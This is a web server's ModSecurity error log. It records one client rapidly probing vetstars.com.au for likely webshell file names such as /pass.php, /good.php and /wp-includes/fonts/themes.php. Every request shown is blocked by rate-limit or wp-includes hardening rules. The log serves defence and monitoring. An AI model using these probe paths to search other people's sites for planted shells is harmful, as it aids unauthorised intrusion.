[Tue Dec 23 02:02:46.147188 2025] [:error] [pid 40361:tid 40367] [client 13.79.133.172:6525] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amphicyon.php"] [unique_id "aUmHxuxiDEK95vL2EDrckQAAAEQ"]
[Tue Dec 23 02:02:46.725650 2025] [:error] [pid 40269:tid 40340] [client 13.79.133.172:16011] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/good.php"] [unique_id "aUmHxi06Z11fTcfdsqTtnQAAAQs"]
[Tue Dec 23 02:02:47.297141 2025] [:error] [pid 40268:tid 40319] [client 13.79.133.172:15424] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/good.php"] [unique_id "aUmHx5WtCyS5tdJAiFximwAAANE"]
[Tue Dec 23 02:02:47.850236 2025] [:error] [pid 40361:tid 40366] [client 13.79.133.172:5429] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/good.php"] [unique_id "aUmHx-xiDEK95vL2EDrckgAAAEM"]
[Tue Dec 23 02:02:48.424953 2025] [:error] [pid 40267:tid 40293] [client 13.79.133.172:5746] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/good.php"] [unique_id "aUmHyOTPWWVt2GkrftB06wAAABQ"]
[Tue Dec 23 02:02:49.002007 2025] [:error] [pid 40268:tid 40304] [client 13.79.133.172:9038] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pop.php"] [unique_id "aUmHyZWtCyS5tdJAiFxinQAAAMI"]
[Tue Dec 23 02:02:49.567786 2025] [:error] [pid 40268:tid 40320] [client 13.79.133.172:15523] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pop.php"] [unique_id "aUmHyZWtCyS5tdJAiFxingAAANI"]
[Tue Dec 23 02:02:50.157919 2025] [:error] [pid 40269:tid 40349] [client 13.79.133.172:4564] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pop.php"] [unique_id "aUmHyi06Z11fTcfdsqTtowAAARQ"]
[Tue Dec 23 02:02:50.743634 2025] [:error] [pid 40269:tid 40347] [client 13.79.133.172:6098] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pop.php"] [unique_id "aUmHyi06Z11fTcfdsqTtpQAAARI"]
[Tue Dec 23 02:02:51.325106 2025] [:error] [pid 40269:tid 40342] [client 13.79.133.172:9100] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/natural.php"] [unique_id "aUmHyy06Z11fTcfdsqTtqAAAAQ0"]
[Tue Dec 23 02:02:51.865009 2025] [:error] [pid 40269:tid 40353] [client 13.79.133.172:11387] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/natural.php"] [unique_id "aUmHyy06Z11fTcfdsqTtqwAAARg"]
[Tue Dec 23 02:02:52.413336 2025] [:error] [pid 40269:tid 40348] [client 13.79.133.172:11795] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/natural.php"] [unique_id "aUmHzC06Z11fTcfdsqTtrQAAARM"]
[Tue Dec 23 02:02:52.990352 2025] [:error] [pid 40268:tid 40316] [client 13.79.133.172:7920] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/natural.php"] [unique_id "aUmHzJWtCyS5tdJAiFxioQAAAM4"]
[Tue Dec 23 02:02:53.566167 2025] [:error] [pid 40268:tid 40308] [client 13.79.133.172:5740] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gmo.php"] [unique_id "aUmHzZWtCyS5tdJAiFxipAAAAMY"]
[Tue Dec 23 02:02:54.209217 2025] [:error] [pid 40269:tid 40332] [client 13.79.133.172:11846] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gmo.php"] [unique_id "aUmHzi06Z11fTcfdsqTtsAAAAQM"]
[Tue Dec 23 02:02:54.775985 2025] [:error] [pid 40361:tid 40382] [client 13.79.133.172:11371] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gmo.php"] [unique_id "aUmHzuxiDEK95vL2EDrclwAAAFM"]
[Tue Dec 23 02:02:55.377456 2025] [:error] [pid 40269:tid 40343] [client 13.79.133.172:11859] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gmo.php"] [unique_id "aUmHzy06Z11fTcfdsqTttQAAAQ4"]
[Tue Dec 23 02:02:55.924103 2025] [:error] [pid 40269:tid 40345] [client 13.79.133.172:3908] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/law.php"] [unique_id "aUmHzy06Z11fTcfdsqTttwAAARA"]
[Tue Dec 23 02:02:56.471901 2025] [:error] [pid 40267:tid 40277] [client 13.79.133.172:1950] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/law.php"] [unique_id "aUmH0OTPWWVt2GkrftB07gAAAAQ"]
[Tue Dec 23 02:02:57.018426 2025] [:error] [pid 40267:tid 40282] [client 13.79.133.172:6122] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/law.php"] [unique_id "aUmH0eTPWWVt2GkrftB08QAAAAk"]
[Tue Dec 23 02:02:57.589746 2025] [:error] [pid 40361:tid 40383] [client 13.79.133.172:15432] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/law.php"] [unique_id "aUmH0exiDEK95vL2EDrcmwAAAFQ"]
[Tue Dec 23 02:02:58.173295 2025] [:error] [pid 40361:tid 40379] [client 13.79.133.172:5742] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fjpeb.php"] [unique_id "aUmH0uxiDEK95vL2EDrcnAAAAFA"]
[Tue Dec 23 02:02:58.763195 2025] [:error] [pid 40361:tid 40378] [client 13.79.133.172:11902] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fjpeb.php"] [unique_id "aUmH0uxiDEK95vL2EDrcnQAAAE8"]
[Tue Dec 23 02:02:59.341561 2025] [:error] [pid 40267:tid 40278] [client 13.79.133.172:11629] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fjpeb.php"] [unique_id "aUmH0-TPWWVt2GkrftB09gAAAAU"]
[Tue Dec 23 02:02:59.924458 2025] [:error] [pid 40361:tid 40363] [client 13.79.133.172:5439] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fjpeb.php"] [unique_id "aUmH0-xiDEK95vL2EDrcoAAAAEA"]
[Tue Dec 23 02:03:00.503725 2025] [:error] [pid 40267:tid 40294] [client 13.79.133.172:9453] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asd67.php"] [unique_id "aUmH1OTPWWVt2GkrftB0-gAAABU"]
[Tue Dec 23 02:03:01.090607 2025] [:error] [pid 40267:tid 40284] [client 13.79.133.172:12003] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asd67.php"] [unique_id "aUmH1eTPWWVt2GkrftB0-wAAAAs"]
[Tue Dec 23 02:03:01.681607 2025] [:error] [pid 40267:tid 40277] [client 13.79.133.172:15487] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asd67.php"] [unique_id "aUmH1eTPWWVt2GkrftB0_AAAAAQ"]
[Tue Dec 23 02:03:02.244859 2025] [:error] [pid 40269:tid 40351] [client 13.79.133.172:11788] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asd67.php"] [unique_id "aUmH1i06Z11fTcfdsqTtwAAAARY"]
[Tue Dec 23 02:03:02.792723 2025] [:error] [pid 40268:tid 40302] [client 13.79.133.172:1947] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/np.php"] [unique_id "aUmH1pWtCyS5tdJAiFxitAAAAMA"]
[Tue Dec 23 02:03:03.333642 2025] [:error] [pid 40267:tid 40273] [client 13.79.133.172:5384] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/np.php"] [unique_id "aUmH1-TPWWVt2GkrftB0_wAAAAA"]
[Tue Dec 23 02:03:03.894763 2025] [:error] [pid 40267:tid 40288] [client 13.79.133.172:15863] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/np.php"] [unique_id "aUmH1-TPWWVt2GkrftB1AAAAAA8"]
[Tue Dec 23 02:03:04.437328 2025] [:error] [pid 40267:tid 40297] [client 13.79.133.172:3629] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/np.php"] [unique_id "aUmH2OTPWWVt2GkrftB1AgAAABg"]
[Tue Dec 23 02:03:04.995567 2025] [:error] [pid 40268:tid 40323] [client 13.79.133.172:10285] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/maul.php"] [unique_id "aUmH2JWtCyS5tdJAiFxitwAAANU"]
[Tue Dec 23 02:03:05.558027 2025] [:error] [pid 40361:tid 40379] [client 13.79.133.172:9066] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/maul.php"] [unique_id "aUmH2exiDEK95vL2EDrcpwAAAFA"]
[Tue Dec 23 02:03:06.149883 2025] [:error] [pid 40269:tid 40346] [client 13.79.133.172:11830] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/maul.php"] [unique_id "aUmH2i06Z11fTcfdsqTtxAAAARE"]
[Tue Dec 23 02:03:06.715153 2025] [:error] [pid 40267:tid 40294] [client 13.79.133.172:10299] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/maul.php"] [unique_id "aUmH2uTPWWVt2GkrftB1CAAAABU"]
[Tue Dec 23 02:03:29.939279 2025] [:error] [pid 40361:tid 40368] [client 13.79.133.172:13237] [client 13.79.133.172] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/themes.php"] [unique_id "aUmH8exiDEK95vL2EDrc5wAAAEU"]
[Tue Dec 23 02:03:54.046624 2025] [:error] [pid 40267:tid 40293] [client 13.79.133.172:4816] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zse.php"] [unique_id "aUmICuTPWWVt2GkrftB1WwAAABQ"]
[Tue Dec 23 02:03:54.601913 2025] [:error] [pid 40267:tid 40297] [client 13.79.133.172:2797] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zse.php"] [unique_id "aUmICuTPWWVt2GkrftB1XAAAABg"]
[Tue Dec 23 02:03:55.174414 2025] [:error] [pid 40361:tid 40385] [client 13.79.133.172:2545] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zse.php"] [unique_id "aUmIC-xiDEK95vL2EDrdMAAAAFY"]
[Tue Dec 23 02:03:55.757213 2025] [:error] [pid 40267:tid 40290] [client 13.79.133.172:7035] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zse.php"] [unique_id "aUmIC-TPWWVt2GkrftB1XgAAABE"]
[Tue Dec 23 02:03:56.344848 2025] [:error] [pid 40267:tid 40277] [client 13.79.133.172:8088] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pass.php"] [unique_id "aUmIDOTPWWVt2GkrftB1XwAAAAQ"]
[Tue Dec 23 02:03:56.927139 2025] [:error] [pid 40268:tid 40326] [client 13.79.133.172:2524] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pass.php"] [unique_id "aUmIDJWtCyS5tdJAiFxjCgAAANg"]
[Tue Dec 23 02:03:57.521217 2025] [:error] [pid 40269:tid 40350] [client 13.79.133.172:7012] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pass.php"] [unique_id "aUmIDS06Z11fTcfdsqTuEgAAARU"]
[Tue Dec 23 02:03:58.104361 2025] [:error] [pid 40269:tid 40342] [client 13.79.133.172:10205] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pass.php"] [unique_id "aUmIDi06Z11fTcfdsqTuFQAAAQ0"]
[Tue Dec 23 02:03:58.681715 2025] [:error] [pid 40268:tid 40315] [client 13.79.133.172:2131] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aUmIDpWtCyS5tdJAiFxjDAAAAM0"]
[Tue Dec 23 02:03:59.270934 2025] [:error] [pid 40267:tid 40282] [client 13.79.133.172:2548] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aUmID-TPWWVt2GkrftB1YwAAAAk"]
[Tue Dec 23 02:03:59.883355 2025] [:error] [pid 40267:tid 40276] [client 13.79.133.172:6144] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aUmID-TPWWVt2GkrftB1aAAAAAM"]
[Tue Dec 23 02:04:00.516405 2025] [:error] [pid 40267:tid 40296] [client 13.79.133.172:3354] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aUmIEOTPWWVt2GkrftB1awAAABc"]
[Tue Dec 23 02:04:01.108868 2025] [:error] [pid 40361:tid 40371] [client 13.79.133.172:2170] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asasx.php"] [unique_id "aUmIEexiDEK95vL2EDrdOAAAAEg"]
[Tue Dec 23 02:04:01.706653 2025] [:error] [pid 40269:tid 40340] [client 13.79.133.172:8653] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asasx.php"] [unique_id "aUmIES06Z11fTcfdsqTuGgAAAQs"]
[Tue Dec 23 02:04:02.272485 2025] [:error] [pid 40361:tid 40387] [client 13.79.133.172:4847] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asasx.php"] [unique_id "aUmIEuxiDEK95vL2EDrdOwAAAFg"]
[Tue Dec 23 02:04:02.842671 2025] [:error] [pid 40361:tid 40382] [client 13.79.133.172:12072] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asasx.php"] [unique_id "aUmIEuxiDEK95vL2EDrdPQAAAFM"]
[Tue Dec 23 02:04:03.437304 2025] [:error] [pid 40361:tid 40373] [client 13.79.133.172:14253] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aUmIE-xiDEK95vL2EDrdPwAAAEo"]
[Tue Dec 23 02:04:03.999012 2025] [:error] [pid 40269:tid 40344] [client 13.79.133.172:10512] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aUmIEy06Z11fTcfdsqTuHAAAAQ8"]
